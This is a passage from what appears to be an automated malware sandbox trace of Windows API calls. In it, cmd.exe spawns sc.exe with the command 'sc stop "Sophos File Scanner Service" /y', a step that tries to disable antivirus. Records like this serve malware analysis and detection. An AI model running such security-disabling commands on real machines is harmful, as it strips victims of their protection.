| out: phkResult=0x2ce994*=0x6c) returned 0x0 [0061.132] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ce99c, lpData=0x2ce9a0, lpcbData=0x2ce998*=0x1000 | out: lpType=0x2ce99c*=0x0, lpData=0x2ce9a0*=0x32, lpcbData=0x2ce998*=0x1000) returned 0x2 [0061.132] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ce99c, lpData=0x2ce9a0, lpcbData=0x2ce998*=0x1000 | out: lpType=0x2ce99c*=0x4, lpData=0x2ce9a0*=0x1, lpcbData=0x2ce998*=0x4) returned 0x0 [0061.132] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ce99c, lpData=0x2ce9a0, lpcbData=0x2ce998*=0x1000 | out: lpType=0x2ce99c*=0x0, lpData=0x2ce9a0*=0x1, lpcbData=0x2ce998*=0x1000) returned 0x2 [0061.132] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ce99c, lpData=0x2ce9a0, lpcbData=0x2ce998*=0x1000 | out: lpType=0x2ce99c*=0x4, lpData=0x2ce9a0*=0x0, lpcbData=0x2ce998*=0x4) returned 0x0 [0061.132] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ce99c, lpData=0x2ce9a0, lpcbData=0x2ce998*=0x1000 | out: lpType=0x2ce99c*=0x4, lpData=0x2ce9a0*=0x40, lpcbData=0x2ce998*=0x4) returned 0x0 [0061.132] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ce99c, lpData=0x2ce9a0, lpcbData=0x2ce998*=0x1000 | out: lpType=0x2ce99c*=0x4, lpData=0x2ce9a0*=0x40, lpcbData=0x2ce998*=0x4) returned 0x0 [0061.132] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ce99c, lpData=0x2ce9a0, lpcbData=0x2ce998*=0x1000 | out: lpType=0x2ce99c*=0x0, lpData=0x2ce9a0*=0x40, lpcbData=0x2ce998*=0x1000) returned 0x2 [0061.132] RegCloseKey (hKey=0x6c) returned 0x0 [0061.132] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ce994 | out: phkResult=0x2ce994*=0x6c) returned 0x0 [0061.132] RegQueryValueExW (in: hKey=0x6c, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ce99c, lpData=0x2ce9a0, lpcbData=0x2ce998*=0x1000 | out: lpType=0x2ce99c*=0x0, lpData=0x2ce9a0*=0x40, lpcbData=0x2ce998*=0x1000) returned 0x2 [0061.132] RegQueryValueExW (in: hKey=0x6c, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ce99c, lpData=0x2ce9a0, lpcbData=0x2ce998*=0x1000 | out: lpType=0x2ce99c*=0x4, lpData=0x2ce9a0*=0x1, lpcbData=0x2ce998*=0x4) returned 0x0 [0061.132] RegQueryValueExW (in: hKey=0x6c, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x2ce99c, lpData=0x2ce9a0, lpcbData=0x2ce998*=0x1000 | out: lpType=0x2ce99c*=0x0, lpData=0x2ce9a0*=0x1, lpcbData=0x2ce998*=0x1000) returned 0x2 [0061.132] RegQueryValueExW (in: hKey=0x6c, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x2ce99c, lpData=0x2ce9a0, lpcbData=0x2ce998*=0x1000 | out: lpType=0x2ce99c*=0x4, lpData=0x2ce9a0*=0x0, lpcbData=0x2ce998*=0x4) returned 0x0 [0061.132] RegQueryValueExW (in: hKey=0x6c, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x2ce99c, lpData=0x2ce9a0, lpcbData=0x2ce998*=0x1000 | out: lpType=0x2ce99c*=0x4, lpData=0x2ce9a0*=0x9, lpcbData=0x2ce998*=0x4) returned 0x0 [0061.132] RegQueryValueExW (in: hKey=0x6c, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x2ce99c, lpData=0x2ce9a0, lpcbData=0x2ce998*=0x1000 | out: lpType=0x2ce99c*=0x4, lpData=0x2ce9a0*=0x9, lpcbData=0x2ce998*=0x4) returned 0x0 [0061.133] RegQueryValueExW (in: hKey=0x6c, lpValueName="AutoRun", lpReserved=0x0, lpType=0x2ce99c, lpData=0x2ce9a0, lpcbData=0x2ce998*=0x1000 | out: lpType=0x2ce99c*=0x0, lpData=0x2ce9a0*=0x9, lpcbData=0x2ce998*=0x1000) returned 0x2 [0061.133] RegCloseKey (hKey=0x6c) returned 0x0 [0061.133] time (in: timer=0x0 | out: timer=0x0) returned 0x5c3c3f5c [0061.133] srand (_Seed=0x5c3c3f5c) [0061.133] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos File Scanner Service\" /y" [0061.133] GetCommandLineW () returned="C:\\Windows\\system32\\cmd.exe /c sc stop \"Sophos File Scanner Service\" /y" [0061.133] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ac45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0061.133] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x5e4bd8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\cmd.exe" (normalized: "c:\\windows\\syswow64\\cmd.exe")) returned 0x1b [0061.133] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ac50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0061.133] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ac50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0061.133] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4ac50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0061.133] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0061.133] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0061.133] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0061.133] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0061.133] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0061.133] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0061.133] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0061.133] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0061.134] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0061.134] GetEnvironmentStringsW () returned 0x5e2b48* [0061.134] FreeEnvironmentStringsW (penv=0x5e2b48) returned 1 [0061.134] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4ac50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0061.134] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4ac50640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0061.134] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0061.134] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0061.134] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0061.134] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0061.134] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0061.134] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0061.134] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0061.134] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0061.134] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x2cf760 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0061.134] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x2cf760, lpFilePart=0x2cf75c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cf75c*="Desktop") returned 0x25 [0061.134] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0061.135] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x2cf4dc | out: lpFindFileData=0x2cf4dc) returned 0x5e1de0 [0061.135] FindClose (in: hFindFile=0x5e1de0 | out: hFindFile=0x5e1de0) returned 1 [0061.135] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x2cf4dc | out: lpFindFileData=0x2cf4dc) returned 0x5e1de0 [0061.135] FindClose (in: hFindFile=0x5e1de0 | out: hFindFile=0x5e1de0) returned 1 [0061.135] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0061.135] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x2cf4dc | out: lpFindFileData=0x2cf4dc) returned 0x5e1de0 [0061.135] FindClose (in: hFindFile=0x5e1de0 | out: hFindFile=0x5e1de0) returned 1 [0061.135] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0061.135] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0061.135] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0061.135] GetEnvironmentStringsW () returned 0x5e2b48* [0061.135] FreeEnvironmentStringsW (penv=0x5e2b48) returned 1 [0061.135] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4ac45260 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0061.136] GetConsoleOutputCP () returned 0x1b5 [0061.136] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ac44260 | out: lpCPInfo=0x4ac44260) returned 1 [0061.136] GetUserDefaultLCID () returned 0x409 [0061.137] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4ac44950, cchData=8 | out: lpLCData=":") returned 2 [0061.137] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x2cf8a0, cchData=128 | out: lpLCData="0") returned 2 [0061.137] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x2cf8a0, cchData=128 | out: lpLCData="0") returned 2 [0061.137] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x2cf8a0, cchData=128 | out: lpLCData="1") returned 2 [0061.137] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4ac44940, cchData=8 | out: lpLCData="/") returned 2 [0061.137] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4ac44d80, cchData=32 | out: lpLCData="Mon") returned 4 [0061.137] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4ac44d40, cchData=32 | out: lpLCData="Tue") returned 4 [0061.137] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4ac44d00, cchData=32 | out: lpLCData="Wed") returned 4 [0061.137] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4ac44cc0, cchData=32 | out: lpLCData="Thu") returned 4 [0061.137] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4ac44c80, cchData=32 | out: lpLCData="Fri") returned 4 [0061.137] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4ac44c40, cchData=32 | out: lpLCData="Sat") returned 4 [0061.137] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4ac44c00, cchData=32 | out: lpLCData="Sun") returned 4 [0061.137] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4ac44930, cchData=8 | out: lpLCData=".") returned 2 [0061.137] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4ac44920, cchData=8 | out: lpLCData=",") returned 2 [0061.137] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0061.138] GetConsoleTitleW (in: lpConsoleTitle=0x5e5928, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0061.138] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x75a20000 [0061.138] GetProcAddress (hModule=0x75a20000, lpProcName="CopyFileExW") returned 0x75a53b92 [0061.138] GetProcAddress (hModule=0x75a20000, lpProcName="IsDebuggerPresent") returned 0x75a34a5d [0061.139] GetProcAddress (hModule=0x75a20000, lpProcName="SetConsoleInputExeNameW") returned 0x75a4a79d [0061.139] _wcsicmp (_String1="sc", _String2=")") returned 74 [0061.139] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0061.139] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0061.139] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0061.139] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0061.139] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0061.139] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0061.141] GetConsoleTitleW (in: lpConsoleTitle=0x2cf598, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0061.142] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0061.142] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0061.142] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0061.142] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0061.142] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0061.142] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0061.142] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0061.142] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0061.142] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0061.142] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0061.142] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0061.142] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0061.142] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0061.142] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0061.142] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0061.142] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0061.142] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0061.142] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0061.142] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0061.142] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0061.142] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0061.142] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0061.142] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0061.142] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0061.142] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0061.142] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0061.142] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0061.142] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0061.142] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0061.142] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0061.142] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0061.142] _wcsicmp (_String1="sc", _String2="START") returned -17 [0061.142] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0061.142] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0061.142] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0061.142] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0061.142] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0061.142] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0061.142] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0061.142] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0061.142] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0061.142] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0061.143] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0061.143] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0061.143] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0061.143] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0061.143] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0061.143] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0061.143] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0061.143] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0061.143] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0061.143] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0061.143] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0061.143] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0061.143] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0061.143] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0061.143] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0061.143] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0061.143] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0061.143] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0061.143] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0061.143] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0061.143] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0061.143] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0061.143] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0061.143] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0061.143] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0061.143] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0061.143] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0061.143] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0061.143] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0061.143] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0061.143] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0061.143] _wcsicmp (_String1="sc", _String2="START") returned -17 [0061.143] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0061.143] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0061.143] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0061.143] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0061.143] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0061.143] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0061.143] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0061.143] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0061.143] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0061.143] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0061.143] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0061.143] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0061.144] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0061.144] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0061.144] SetErrorMode (uMode=0x0) returned 0x0 [0061.144] SetErrorMode (uMode=0x1) returned 0x0 [0061.144] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x5e5e88, lpFilePart=0x2cf0b8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cf0b8*="Desktop") returned 0x25 [0061.144] SetErrorMode (uMode=0x0) returned 0x1 [0061.144] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4ac50640, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0061.144] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0061.149] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4ac50640, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0061.151] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cf1b4, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cf27c | out: lpAttributeList=0x2cf1b4, lpSize=0x2cf27c) returned 1 [0061.151] UpdateProcThreadAttribute (in: lpAttributeList=0x2cf1b4, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cf274, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cf1b4, lpPreviousValue=0x0) returned 1 [0061.151] GetStartupInfoW (in: lpStartupInfo=0x2cf170 | out: lpStartupInfo=0x2cf170*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x144, lpReserved2=0x5d19e2, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0)) [0061.152] lstrcmpW (lpString1="\\sc.exe", lpString2="\\XCOPY.EXE") returned -1 [0061.153] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc stop \"Sophos File Scanner Service\" /y", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2cf210*(cb=0x48, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc stop \"Sophos File Scanner Service\" /y", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cf25c | out: lpCommandLine="sc stop \"Sophos File Scanner Service\" /y", lpProcessInformation=0x2cf25c*(hProcess=0x7c, hThread=0x78, dwProcessId=0x924, dwThreadId=0x8c4)) returned 1 [0061.158] CloseHandle (hObject=0x78) returned 1 [0061.158] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0061.158] GetEnvironmentStringsW () returned 0x5e4de8* [0061.158] FreeEnvironmentStringsW (penv=0x5e4de8) returned 1 [0061.158] WaitForSingleObject (hHandle=0x7c, dwMilliseconds=0xffffffff) returned 0x0 [0061.201] GetExitCodeProcess (in: hProcess=0x7c, lpExitCode=0x2cf150 | out: lpExitCode=0x2cf150*=0x424) returned 1 [0061.201] CloseHandle (hObject=0x7c) returned 1 [0061.201] _vsnwprintf (in: _Buffer=0x2cf298, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cf15c | out: _Buffer="00000424") returned 8 [0061.201] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0061.201] GetEnvironmentStringsW () returned 0x5e61d0* [0061.201] FreeEnvironmentStringsW (penv=0x5e61d0) returned 1 [0061.201] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0061.201] GetEnvironmentStringsW () returned 0x5e61d0* [0061.201] FreeEnvironmentStringsW (penv=0x5e61d0) returned 1 [0061.202] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cf1b4 | out: lpAttributeList=0x2cf1b4) [0061.202] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.202] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0061.202] _get_osfhandle (_FileHandle=1) returned 0x7 [0061.202] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4ac441ac | out: lpMode=0x4ac441ac) returned 1 [0061.203] _get_osfhandle (_FileHandle=0) returned 0x3 [0061.203] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4ac441b0 | out: lpMode=0x4ac441b0) returned 1 [0061.203] SetConsoleInputExeNameW () returned 0x1 [0061.203] GetConsoleOutputCP () returned 0x1b5 [0061.203] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4ac44260 | out: lpCPInfo=0x4ac44260) returned 1 [0061.203] SetThreadUILanguage (LangId=0x0) returned 0x409 [0061.203] exit (_Code=1060) Process: id = "53" image_name = "sc.exe" filename = "c:\\windows\\syswow64\\sc.exe" page_root = "0x6f569000" os_pid = "0x924" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "52" os_parent_pid = "0x540" cmd_line = "sc stop \"Sophos File Scanner Service\" /y" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3351 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 3352 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 3353 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 3354 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 3355 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 3356 start_va = 0xa0000 end_va = 0xa0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 3357 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 3358 start_va = 0xa00000 end_va = 0xa0bfff entry_point = 0xa00000 region_type = mapped_file name = "sc.exe" filename = "\\Windows\\SysWOW64\\sc.exe" (normalized: "c:\\windows\\syswow64\\sc.exe") Region: id = 3359 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3360 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 3361 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 3362 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 3363 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 3364 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 3365 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 3366 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3367 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 3368 start_va = 0x170000 end_va = 0x1effff entry_point = 0x0 region_type = private name = "private_0x0000000000170000" filename = "" Region: id = 3369 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 3370 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = 